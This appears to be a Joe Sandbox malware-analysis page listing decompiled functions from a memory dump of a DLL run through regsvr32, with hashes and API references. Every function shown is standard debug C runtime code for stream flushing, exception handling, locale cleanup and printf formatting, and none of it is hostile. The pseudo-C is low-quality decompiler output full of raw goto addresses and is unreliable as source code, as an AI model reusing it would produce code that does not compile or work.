Source File: 00000003.00000002.926879191.000007FEF9D21000.00000020.00000001.01000000.00000006.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926872386.000007FEF9D20000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926902888.000007FEF9D42000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926912202.000007FEF9D4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926917238.000007FEF9D4F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: ByteCharMultiWide$AllocaMarkStringTypemalloc
String ID:
API String ID: 2618398691-0
Opcode ID: 05827e3f81ca9d4f9e036e9cc38fe06689f9ef4e573a4afec1c92632646a1a95
Instruction ID: 79d90a16a348acae5d1e8c33d658c717d72e619f6ed261e78ac23a31a9732c13
Opcode Fuzzy Hash: 05827e3f81ca9d4f9e036e9cc38fe06689f9ef4e573a4afec1c92632646a1a95
Instruction Fuzzy Hash: 9941E7726187818AD7A08B19E48476EB7E0F385795F204525EADE43BB8DB7ED484CF00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3FF00 Relevance: 7.6, APIs: 5, Instructions: 79
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 20%

			E000007FE7FEF9D3FF00(intOrPtr __ecx, intOrPtr _a8) {
				signed int _v16;
				signed int _v20;
				signed int _v24;

				_a8 = __ecx;
				_v24 = 0;
				_v16 = 0;
				0xf9d29300();
				_v20 = 0;
				_v20 = _v20 + 1;
				if (_v20 -  *0xf9d4e520 >= 0) goto 0xf9d40042;
				if ( *((long long*)( *0xf9d4d500 + _v20 * 8)) == 0) goto 0xf9d4003d;
				if (( *( *((intOrPtr*)( *0xf9d4d500 + _v20 * 8)) + 0x18) & 0x00000083) == 0) goto 0xf9d4003d;
				E000007FE7FEF9D3AE90(_v20,  *((intOrPtr*)( *0xf9d4d500 + _v20 * 8)));
				if (( *( *((intOrPtr*)( *0xf9d4d500 + _v20 * 8)) + 0x18) & 0x00000083) == 0) goto 0xf9d40024;
				if (_a8 != 1) goto 0xf9d3ffe1;
				if (E000007FE7FEF9D3FD70( *((intOrPtr*)( *0xf9d4d500 + _v20 * 8))) == 0xffffffff) goto 0xf9d3ffdf;
				_v24 = _v24 + 1;
				goto 0xf9d40024;
				if (_a8 != 0) goto 0xf9d40024;
				if (( *( *((intOrPtr*)( *0xf9d4d500 + _v20 * 8)) + 0x18) & 0x00000002) == 0) goto 0xf9d40024;
				if (E000007FE7FEF9D3FD70( *((intOrPtr*)( *0xf9d4d500 + _v20 * 8))) != 0xffffffff) goto 0xf9d40024;
				_v16 = 0xffffffff;
				E000007FE7FEF9D3AF60(_v20,  *((intOrPtr*)( *0xf9d4d500 + _v20 * 8)));
				goto L1;
				__ecx = 1;
				__eax = E000007FE7FEF9D29360(__eax, 1);
				if (_a8 != 1) goto 0xf9d4005b;
				__eax = _v24;
				goto 0xf9d4005f;
				__eax = _v16;
				return _v16;
			}

0x7fef9d3ff00
0x7fef9d3ff08
0x7fef9d3ff10
0x7fef9d3ff1d
0x7fef9d3ff23
0x7fef9d3ff33
0x7fef9d3ff41
0x7fef9d3ff58
0x7fef9d3ff78
0x7fef9d3ff92
0x7fef9d3ffb2
0x7fef9d3ffb9
0x7fef9d3ffd3
0x7fef9d3ffdb
0x7fef9d3ffdf
0x7fef9d3ffe6
0x7fef9d40000
0x7fef9d4001a
0x7fef9d4001c
0x7fef9d40038
0x7fef9d4003d
0x7fef9d40042
0x7fef9d40047
0x7fef9d40051
0x7fef9d40053
0x7fef9d40059
0x7fef9d4005b
0x7fef9d40063

APIs

_lock_file2.LIBCMTD ref: 000007FEF9D3FF92
_fflush_nolock.LIBCMTD ref: 000007FEF9D3FFCB
_fflush_nolock.LIBCMTD ref: 000007FEF9D40012
_unlock_file2.LIBCMTD ref: 000007FEF9D40038
_unlock.LIBCMTD ref: 000007FEF9D40047

Memory Dump Source

Source File: 00000003.00000002.926879191.000007FEF9D21000.00000020.00000001.01000000.00000006.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926872386.000007FEF9D20000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926902888.000007FEF9D42000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926912202.000007FEF9D4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926917238.000007FEF9D4F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _fflush_nolock$_lock_file2_unlock_unlock_file2
String ID:
API String ID: 1144694634-0
Opcode ID: 9c48fc7a63950d59b547df98b2f037ee7aefe6eda58a35de18d9feeb54d081ae
Instruction ID: ac60367dbbc332a4a9212cb966813f3525e1d277dda9a6ba7eb8e741a9ed9bf6
Opcode Fuzzy Hash: 9c48fc7a63950d59b547df98b2f037ee7aefe6eda58a35de18d9feeb54d081ae
Instruction Fuzzy Hash: D441F136A08905C5EB70CB1DE98173D73E0F799B49F204225EA9D877B4CB3EE945CA01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D33CC0 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 186
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 27%

			E000007FE7FEF9D33CC0(void* __edx, void* __rax, long long __rcx, long long __rdx, long long __r8, long long __r9, void* _a8, long long _a16, long long _a24, long long _a32, signed int* _a40, char _a48, signed int _a56, signed int _a64) {
				long long _v16;
				long long _v24;
				intOrPtr _v32;
				long long _v40;
				long long _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				signed int _v64;
				long long _v72;
				char _v80;
				long long _v88;
				void* _t135;
				void* _t145;
				void* _t147;
				void* _t148;
				void* _t149;
				signed int* _t200;
				intOrPtr _t206;

				_a32 = __r9;
				_a24 = __r8;
				_a16 = __rdx;
				_a8 = __rcx;
				0xf9d24000();
				if ( *((intOrPtr*)(__rax + 0x2c0)) != 0) goto 0xf9d33d6c;
				if ( *_a8 == 0xe06d7363) goto 0xf9d33d6c;
				if ( *_a8 != 0x80000029) goto 0xf9d33d2a;
				if ( *((intOrPtr*)(_a8 + 0x18)) != 0xf) goto 0xf9d33d2a;
				if ( *((long long*)(_a8 + 0x60)) == 0x19930520) goto 0xf9d33d6c;
				if ( *_a8 == 0x80000026) goto 0xf9d33d6c;
				if (( *_a40 & 0x1fffffff) - 0x19930522 < 0) goto 0xf9d33d6c;
				if ((_a40[9] & 0x00000001) == 0) goto 0xf9d33d6c;
				goto 0xf9d3409c;
				if (( *(_a8 + 4) & 0x00000066) == 0) goto 0xf9d33ef3;
				if (_a40[1] == 0) goto 0xf9d33ee4;
				if (_a48 != 0) goto 0xf9d33ee4;
				if (( *(_a8 + 4) & 0x00000020) == 0) goto 0xf9d33e40;
				if ( *_a8 != 0x80000026) goto 0xf9d33e40;
				_v56 = E000007FE7FEF9D33A60(_a24, _a40, _a32,  *((intOrPtr*)(_a24 + 0xf8)));
				if (_v56 - 0xffffffff < 0) goto 0xf9d33e0a;
				if (_v56 - _a40[1] >= 0) goto 0xf9d33e0a;
				goto 0xf9d33e0f;
				E000007FE7FEF9D2CF80(_a40);
				r9d = _v56;
				E000007FE7FEF9D34F20(_a40, _a16, _a32, _a40);
				goto 0xf9d33ec7;
				if (( *(_a8 + 4) & 0x00000020) == 0) goto 0xf9d33ec7;
				if ( *_a8 != 0x80000029) goto 0xf9d33ec7;
				_v48 = _a8;
				_v52 =  *((intOrPtr*)(_v48 + 0x38));
				if (_v52 - 0xffffffff < 0) goto 0xf9d33e95;
				if (_v52 - _a40[1] >= 0) goto 0xf9d33e95;
				goto 0xf9d33e9a;
				E000007FE7FEF9D2CF80(_a40);
				r9d = _v52;
				E000007FE7FEF9D34F20(_v48,  *((intOrPtr*)(_v48 + 0x28)), _a32, _a40);
				goto 0xf9d3409c;
				E000007FE7FEF9D2E790(_v52 - _a40[1], _v48, _a16, _a32, _a40);
				goto 0xf9d34097;
				if (_a40[3] != 0) goto 0xf9d33f59;
				if (( *_a40 & 0x1fffffff) - 0x19930521 < 0) goto 0xf9d34097;
				_t200 = _a40;
				if ( *((intOrPtr*)(_t200 + 0x20)) == 0) goto 0xf9d33f44;
				_t135 = E000007FE7FEF9D2E680( *_a40 & 0x1fffffff, _t200);
				_v24 = _t200 + _a40[8];
				goto 0xf9d33f4d;
				_v24 = 0;
				if (_v24 == 0) goto 0xf9d34097;
				if ( *_a8 != 0xe06d7363) goto 0xf9d34041;
				if ( *((intOrPtr*)(_a8 + 0x18)) - 3 < 0) goto 0xf9d34041;
				if ( *((intOrPtr*)(_a8 + 0x20)) - 0x19930522 <= 0) goto 0xf9d34041;
				_t206 =  *((intOrPtr*)(_a8 + 0x30));
				if ( *((intOrPtr*)(_t206 + 8)) == 0) goto 0xf9d33fc5;
				E000007FE7FEF9D2E6A0(_t135, _t206);
				_v16 = _t206 +  *((intOrPtr*)( *((intOrPtr*)(_a8 + 0x30)) + 8));
				goto 0xf9d33fce;
				_v16 = 0;
				_v40 = _v16;
				_t177 = _v40;
				if (_v40 == 0) goto 0xf9d34041;
				_v64 = _a64 & 0x000000ff;
				_v72 = _a56;
				_v80 = _a48;
				_v88 = _a40;
				_v32 = _v40();
				goto 0xf9d34097;
				_v64 = _a56;
				_v72 = _a48;
				_v80 = _a64 & 0x000000ff;
				_v88 = _a40;
				E000007FE7FEF9D340B0(_t145, _t147, _t148, _t149, _t177, _a40, _a8, _a16, _a24, _a32);
				return 1;
			}

0x7fef9d33cc0
0x7fef9d33cc5
0x7fef9d33cca
0x7fef9d33ccf
0x7fef9d33cd8
0x7fef9d33ce4
0x7fef9d33cf8
0x7fef9d33d08
0x7fef9d33d16
0x7fef9d33d28
0x7fef9d33d38
0x7fef9d33d4e
0x7fef9d33d60
0x7fef9d33d67
0x7fef9d33d7c
0x7fef9d33d8e
0x7fef9d33d9c
0x7fef9d33db2
0x7fef9d33dc6
0x7fef9d33dec
0x7fef9d33df5
0x7fef9d33e06
0x7fef9d33e08
0x7fef9d33e0a
0x7fef9d33e0f
0x7fef9d33e2c
0x7fef9d33e3b
0x7fef9d33e50
0x7fef9d33e60
0x7fef9d33e6a
0x7fef9d33e77
0x7fef9d33e80
0x7fef9d33e91
0x7fef9d33e93
0x7fef9d33e95
0x7fef9d33e9a
0x7fef9d33eb8
0x7fef9d33ec2
0x7fef9d33edf
0x7fef9d33eee
0x7fef9d33eff
0x7fef9d33f15
0x7fef9d33f1b
0x7fef9d33f27
0x7fef9d33f29
0x7fef9d33f3d
0x7fef9d33f42
0x7fef9d33f44
0x7fef9d33f53
0x7fef9d33f67
0x7fef9d33f79
0x7fef9d33f8e
0x7fef9d33f9c
0x7fef9d33fa4
0x7fef9d33fa6
0x7fef9d33fbe
0x7fef9d33fc3
0x7fef9d33fc5
0x7fef9d33fd3
0x7fef9d33fd8
0x7fef9d33fde
0x7fef9d33fe8
0x7fef9d33ff4
0x7fef9d34000
0x7fef9d3400c
0x7fef9d34035
0x7fef9d3403f
0x7fef9d34049
0x7fef9d34055
0x7fef9d34061
0x7fef9d3406d
0x7fef9d34092
0x7fef9d340a0

APIs

_inconsistency.LIBCMTD ref: 000007FEF9D33E0A

Strings

csm, xrefs: 000007FEF9D33CF2
csm, xrefs: 000007FEF9D33F61

Memory Dump Source

Source File: 00000003.00000002.926879191.000007FEF9D21000.00000020.00000001.01000000.00000006.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926872386.000007FEF9D20000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926902888.000007FEF9D42000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926912202.000007FEF9D4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926917238.000007FEF9D4F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _inconsistency
String ID: csm$csm
API String ID: 32975420-3733052814
Opcode ID: b62b0453fdffd86c1ea8e56b24d9441da31a01f9fe07ee07632383c0adf59322
Instruction ID: 322b6d8969e66d64c69545eab8578d1d9fa1a0c6b52bdd8827c0b0ea251a3b55
Opcode Fuzzy Hash: b62b0453fdffd86c1ea8e56b24d9441da31a01f9fe07ee07632383c0adf59322
Instruction Fuzzy Hash: 12A1EE3660CBC5C6D7B08B15E5447AEB7A0F385B95FA04126EACD87BA9CB3DD844CB40

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D29640 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 182COMMONLIBRARYCODE

Download Yara Rule

APIs

__free_lconv_mon.LIBCMTD ref: 000007FEF9D296DF
__free_lconv_num.LIBCMTD ref: 000007FEF9D29726

Strings

((ptloci->lc_category[category].wlocale != NULL) && (ptloci->lc_category[category].wrefcount != NULL)) || ((ptloci->lc_category[ca, xrefs: 000007FEF9D2991D
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\localref.c, xrefs: 000007FEF9D29932

Memory Dump Source

Source File: 00000003.00000002.926879191.000007FEF9D21000.00000020.00000001.01000000.00000006.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926872386.000007FEF9D20000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926902888.000007FEF9D42000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926912202.000007FEF9D4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926917238.000007FEF9D4F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: __free_lconv_mon__free_lconv_num
String ID: ((ptloci->lc_category[category].wlocale != NULL) && (ptloci->lc_category[category].wrefcount != NULL)) || ((ptloci->lc_category[ca$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\localref.c
API String ID: 2148069796-2706031433
Opcode ID: 5d60d57c9e58d07f7621284f5e9f8ee1c279b3f05538a913626922df64b73307
Instruction ID: d8e48e7000e52547e61d66b201573bb281919b8ac3286b667feec84700a76b7c
Opcode Fuzzy Hash: 5d60d57c9e58d07f7621284f5e9f8ee1c279b3f05538a913626922df64b73307
Instruction Fuzzy Hash: 60A11E36A18A8581EB908F49E4853BEA3E0F3C4B54F665036EA8E477B5CFBED445C740

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D29C10 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

__updatetmbcinfo.LIBCMTD ref: 000007FEF9D29C2F

Part of subcall function 000007FEF9D29B10: _unlock.LIBCMTD ref: 000007FEF9D29BD9

Part of subcall function 000007FEF9D29F20: GetOEMCP.KERNEL32 ref: 000007FEF9D29F65
Part of subcall function 000007FEF9D29F20: _LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D29F74

_unlock.LIBCMTD ref: 000007FEF9D29EC8

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\mbctype.c, xrefs: 000007FEF9D29C73
@'/, xrefs: 000007FEF9D29E76, 000007FEF9D29EA3

Memory Dump Source

Source File: 00000003.00000002.926879191.000007FEF9D21000.00000020.00000001.01000000.00000006.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926872386.000007FEF9D20000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926902888.000007FEF9D42000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926912202.000007FEF9D4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926917238.000007FEF9D4F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale_unlock$UpdateUpdate::~___updatetmbcinfo
String ID: @'/$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\mbctype.c
API String ID: 4112623284-1960733172
Opcode ID: 587d7c63c2f280d76f00a5a6279b212f57539b6122539f303ec6642172553049
Instruction ID: b519865c658f5b17901cea146d1bd99b4d455d983c8f9f0677e22a9713547b35
Opcode Fuzzy Hash: 587d7c63c2f280d76f00a5a6279b212f57539b6122539f303ec6642172553049
Instruction Fuzzy Hash: 8E911D3661DB8586E7A08B19E98036E77E0F388798F654236EACD477B8CB3DD541CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D32772 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 166COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D32A56

Strings

("Buffer too small", 0), xrefs: 000007FEF9D329F2, 000007FEF9D32A4F
_vsnprintf_s_l, xrefs: 000007FEF9D32A48
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\vsprintf.c, xrefs: 000007FEF9D32A07, 000007FEF9D32A41

Memory Dump Source

Source File: 00000003.00000002.926879191.000007FEF9D21000.00000020.00000001.01000000.00000006.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926872386.000007FEF9D20000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926902888.000007FEF9D42000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926912202.000007FEF9D4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926917238.000007FEF9D4F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: ("Buffer too small", 0)$_vsnprintf_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\vsprintf.c
API String ID: 2123368286-3717698799
Opcode ID: 9007319e5b81e0e19641b6dff6978a626c4b249898d68e368399ad5d9614f895
Instruction ID: f46ca83dba6c4e2be9a9571e906a820c6a216ec021220a7175966cdc7e38441f
Opcode Fuzzy Hash: 9007319e5b81e0e19641b6dff6978a626c4b249898d68e368399ad5d9614f895
Instruction Fuzzy Hash: EB810D31A1DB8686DAB08B29E84476E73E0F385765F204225E6ED437E9DF3DD445CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3C719 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 93
COMMON

Download Yara Rule

C-Code - Quality: 20%

			E000007FE7FEF9D3C719(signed int __rax, void* __rdx, long long _a32, void* _a64, void* _a72, intOrPtr _a76, signed int _a80, char _a84, char _a85, intOrPtr _a88, long long _a92, long long _a96, signed char _a104, intOrPtr _a108, signed int _a116, char _a120, char _a687, char _a688, intOrPtr _a704, intOrPtr _a708, signed char _a816, signed int _a824, signed int _a832, intOrPtr _a840, signed short* _a848, signed char _a856, char _a860, char _a864, long long _a872, intOrPtr _a876, intOrPtr _a912, intOrPtr _a916, signed int _a1040, long long _a1048, signed short _a1056, long long _a1060, signed int _a1064, intOrPtr _a1088, char _a1112) {
				signed int _t212;
				signed char _t217;
				intOrPtr _t252;
				signed int _t327;
				signed int _t328;
				signed long long _t331;
				intOrPtr* _t354;
				signed long long _t379;

				_t327 = __rax;
				_a708 = 0x27;
				_a72 = 0x10;
				if ((_a80 & 0x00000080) == 0) goto 0xf9d3c754;
				_a84 = 0x30;
				_a85 = _a708 + 0x51;
				_a92 = 2;
				_a72 = 8;
				if ((_a80 & 0x00000080) == 0) goto 0xf9d3c777;
				asm("bts eax, 0x9");
				if ((_a80 & 0x00008000) == 0) goto 0xf9d3c79e;
				E000007FE7FEF9D31EA0( &_a1112);
				_a824 = _t327;
				goto 0xf9d3c84b;
				if ((_a80 & 0x00001000) == 0) goto 0xf9d3c7c5;
				E000007FE7FEF9D31EA0( &_a1112);
				_a824 = _t327;
				goto 0xf9d3c84b;
				if ((_a80 & 0x00000020) == 0) goto 0xf9d3c810;
				if ((_a80 & 0x00000040) == 0) goto 0xf9d3c7f6;
				_t328 = E000007FE7FEF9D31E40( &_a1112);
				_a824 = _t328;
				goto 0xf9d3c80e;
				E000007FE7FEF9D31E40( &_a1112);
				_a824 = _t328;
				goto 0xf9d3c84b;
				if ((_a80 & 0x00000040) == 0) goto 0xf9d3c834;
				E000007FE7FEF9D31E40( &_a1112);
				_a824 = _t328;
				goto 0xf9d3c84b;
				E000007FE7FEF9D31E40( &_a1112);
				_a824 = _t328;
				if ((_a80 & 0x00000040) == 0) goto 0xf9d3c882;
				if (_a824 >= 0) goto 0xf9d3c882;
				_a832 =  ~_a824;
				asm("bts eax, 0x8");
				goto 0xf9d3c892;
				_t331 = _a824;
				_a832 = _t331;
				if ((_a80 & 0x00008000) != 0) goto 0xf9d3c8c7;
				if ((_a80 & 0x00001000) != 0) goto 0xf9d3c8c7;
				_a832 = _a832 & _t331;
				if (_a116 >= 0) goto 0xf9d3c8d8;
				_a116 = 1;
				goto 0xf9d3c8f5;
				_a80 = _a80 & 0xfffffff7;
				if (_a116 - 0x200 <= 0) goto 0xf9d3c8f5;
				_a116 = 0x200;
				if (_a832 != 0) goto 0xf9d3c908;
				_a92 = 0;
				_a64 =  &_a687;
				_t212 = _a116;
				_a116 = _a116 - 1;
				if (_t212 > 0) goto 0xf9d3c936;
				if (_a832 == 0) goto 0xf9d3c9d3;
				_a1040 = _a72;
				_a816 = _t212 / _a1040 + 0x30;
				_a1048 = _a72;
				if (_a816 - 0x39 <= 0) goto 0xf9d3c9b2;
				_t217 = _a816 + _a708;
				_a816 = _t217;
				 *_a64 = _a816 & 0x000000ff;
				_a64 = _a64 - 1;
				goto 0xf9d3c915;
				_a104 = _t217;
				_a64 = _a64 + 1;
				if ((_a80 & 0x00000200) == 0) goto 0xf9d3ca31;
				if (_a104 == 0) goto 0xf9d3ca12;
				if ( *_a64 == 0x30) goto 0xf9d3ca31;
				_a64 = _a64 - 1;
				 *_a64 = 0x30;
				_a104 = _a104 + 1;
				if (_a108 != 0) goto 0xf9d3cc6e;
				if ((_a80 & 0x00000040) == 0) goto 0xf9d3ca95;
				if ((_a80 & 0x00000100) == 0) goto 0xf9d3ca63;
				_a84 = 0x2d;
				_a92 = 1;
				goto 0xf9d3ca95;
				if ((_a80 & 0x00000001) == 0) goto 0xf9d3ca7d;
				_a84 = 0x2b;
				_a92 = 1;
				goto 0xf9d3ca95;
				if ((_a80 & 0x00000002) == 0) goto 0xf9d3ca95;
				_a84 = 0x20;
				_a92 = 1;
				_a840 = _a88 - _a104 - _a92;
				if ((_a80 & 0x0000000c) != 0) goto 0xf9d3cad5;
				E000007FE7FEF9D3CF10(0x20, _a840, _a1088,  &_a688);
				E000007FE7FEF9D3CF60(_a92, _a64,  &_a84, _a1088,  &_a688);
				if ((_a80 & 0x00000008) == 0) goto 0xf9d3cb27;
				if ((_a80 & 0x00000004) != 0) goto 0xf9d3cb27;
				E000007FE7FEF9D3CF10(0x30, _a840, _a1088,  &_a688);
				if (_a76 == 0) goto 0xf9d3cc1d;
				if (_a104 <= 0) goto 0xf9d3cc1d;
				_a872 = 0;
				_a848 = _a64;
				_a856 = _a104;
				_a856 = _a856 - 1;
				if (_a856 == 0) goto 0xf9d3cc1b;
				_a1056 =  *_a848 & 0x0000ffff;
				r9d = _a1056 & 0x0000ffff;
				r8d = 6;
				_a872 = E000007FE7FEF9D3B530( &_a860,  &_a864, _a1088);
				_a848 =  &(_a848[1]);
				if (_a872 != 0) goto 0xf9d3cbe5;
				if (_a860 != 0) goto 0xf9d3cbf2;
				_a688 = 0xffffffff;
				goto 0xf9d3cc1b;
				E000007FE7FEF9D3CF60(_a860,  &(_a848[1]),  &_a864, _a1088,  &_a688);
				goto 0xf9d3cb60;
				goto 0xf9d3cc3b;
				E000007FE7FEF9D3CF60(_a104,  &(_a848[1]), _a64, _a1088,  &_a688);
				if (_a688 < 0) goto 0xf9d3cc6e;
				if ((_a80 & 0x00000004) == 0) goto 0xf9d3cc6e;
				E000007FE7FEF9D3CF10(0x20, _a840, _a1088,  &_a688);
				if (_a96 == 0) goto 0xf9d3cc8e;
				0xf9d25330();
				_a96 = 0;
				goto 0xf9d3b99c;
				if (_a704 == 0) goto 0xf9d3ccb4;
				if (_a704 == 7) goto 0xf9d3ccb4;
				_a1060 = 0;
				goto 0xf9d3ccbf;
				_a1060 = 1;
				_t252 = _a1060;
				_a876 = _t252;
				if (_a876 != 0) goto 0xf9d3cd05;
				_t354 = L"((state == ST_NORMAL) || (state == ST_TYPE))";
				_a32 = _t354;
				r9d = 0;
				r8d = 0x8f5;
				0xf9d2b3b0();
				if (_t252 != 1) goto 0xf9d3cd05;
				asm("int3");
				if (_a876 != 0) goto 0xf9d3cd61;
				0xf9d2ab30();
				 *_t354 = 0x16;
				_a32 = 0;
				r9d = 0x8f5;
				E000007FE7FEF9D2BD70(L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_64_amd64\\crt\\src\\output.c");
				_a912 = 0xffffffff;
				E000007FE7FEF9D26800( &_a120);
				goto 0xf9d3cd80;
				_a916 = _a688;
				E000007FE7FEF9D26800( &_a120);
				return E000007FE7FEF9D23280(_a916, 2, 2, _a1064 ^ _t379, L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_64_amd64\\crt\\src\\output.c");
			}

0x7fef9d3c719
0x7fef9d3c719
0x7fef9d3c724
0x7fef9d3c737
0x7fef9d3c739
0x7fef9d3c748
0x7fef9d3c74c
0x7fef9d3c756
0x7fef9d3c769
0x7fef9d3c76f
0x7fef9d3c782
0x7fef9d3c78c
0x7fef9d3c791
0x7fef9d3c799
0x7fef9d3c7a9
0x7fef9d3c7b3
0x7fef9d3c7b8
0x7fef9d3c7c0
0x7fef9d3c7ce
0x7fef9d3c7d9
0x7fef9d3c7e8
0x7fef9d3c7ec
0x7fef9d3c7f4
0x7fef9d3c7fe
0x7fef9d3c806
0x7fef9d3c80e
0x7fef9d3c819
0x7fef9d3c823
0x7fef9d3c82a
0x7fef9d3c832
0x7fef9d3c83c
0x7fef9d3c843
0x7fef9d3c854
0x7fef9d3c85f
0x7fef9d3c86c
0x7fef9d3c878
0x7fef9d3c880
0x7fef9d3c882
0x7fef9d3c88a
0x7fef9d3c89d
0x7fef9d3c8aa
0x7fef9d3c8bf
0x7fef9d3c8cc
0x7fef9d3c8ce
0x7fef9d3c8d6
0x7fef9d3c8df
0x7fef9d3c8eb
0x7fef9d3c8ed
0x7fef9d3c8fe
0x7fef9d3c900
0x7fef9d3c910
0x7fef9d3c915
0x7fef9d3c91f
0x7fef9d3c925
0x7fef9d3c930
0x7fef9d3c93b
0x7fef9d3c95e
0x7fef9d3c96a
0x7fef9d3c997
0x7fef9d3c9a9
0x7fef9d3c9ab
0x7fef9d3c9bf
0x7fef9d3c9c9
0x7fef9d3c9ce
0x7fef9d3c9e0
0x7fef9d3c9ec
0x7fef9d3c9fc
0x7fef9d3ca03
0x7fef9d3ca10
0x7fef9d3ca1a
0x7fef9d3ca24
0x7fef9d3ca2d
0x7fef9d3ca36
0x7fef9d3ca45
0x7fef9d3ca52
0x7fef9d3ca54
0x7fef9d3ca59
0x7fef9d3ca61
0x7fef9d3ca6c
0x7fef9d3ca6e
0x7fef9d3ca73
0x7fef9d3ca7b
0x7fef9d3ca86
0x7fef9d3ca88
0x7fef9d3ca8d
0x7fef9d3caa5
0x7fef9d3cab5
0x7fef9d3cad0
0x7fef9d3caee
0x7fef9d3cafc
0x7fef9d3cb07
0x7fef9d3cb22
0x7fef9d3cb2c
0x7fef9d3cb37
0x7fef9d3cb3d
0x7fef9d3cb4d
0x7fef9d3cb59
0x7fef9d3cb70
0x7fef9d3cb79
0x7fef9d3cb8a
0x7fef9d3cb92
0x7fef9d3cb9b
0x7fef9d3cbb6
0x7fef9d3cbc9
0x7fef9d3cbd9
0x7fef9d3cbe3
0x7fef9d3cbe5
0x7fef9d3cbf0
0x7fef9d3cc11
0x7fef9d3cc16
0x7fef9d3cc1b
0x7fef9d3cc36
0x7fef9d3cc43
0x7fef9d3cc4e
0x7fef9d3cc69
0x7fef9d3cc74
0x7fef9d3cc80
0x7fef9d3cc85
0x7fef9d3cc8e
0x7fef9d3cc9b
0x7fef9d3cca5
0x7fef9d3cca7
0x7fef9d3ccb2
0x7fef9d3ccb4
0x7fef9d3ccbf
0x7fef9d3ccc6
0x7fef9d3ccd5
0x7fef9d3ccd7
0x7fef9d3ccde
0x7fef9d3cce3
0x7fef9d3cce6
0x7fef9d3ccf8
0x7fef9d3cd00
0x7fef9d3cd02
0x7fef9d3cd0d
0x7fef9d3cd0f
0x7fef9d3cd14
0x7fef9d3cd1a
0x7fef9d3cd23
0x7fef9d3cd3e
0x7fef9d3cd43
0x7fef9d3cd53
0x7fef9d3cd5f
0x7fef9d3cd68
0x7fef9d3cd74
0x7fef9d3cd97

APIs

get_int64_arg.LIBCMTD ref: 000007FEF9D3C78C

Strings

', xrefs: 000007FEF9D3C719
0, xrefs: 000007FEF9D3C739
9, xrefs: 000007FEF9D3C98F

Memory Dump Source

Source File: 00000003.00000002.926879191.000007FEF9D21000.00000020.00000001.01000000.00000006.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926872386.000007FEF9D20000.00000002.00000001.01000000.00000006.sdmpDownload File
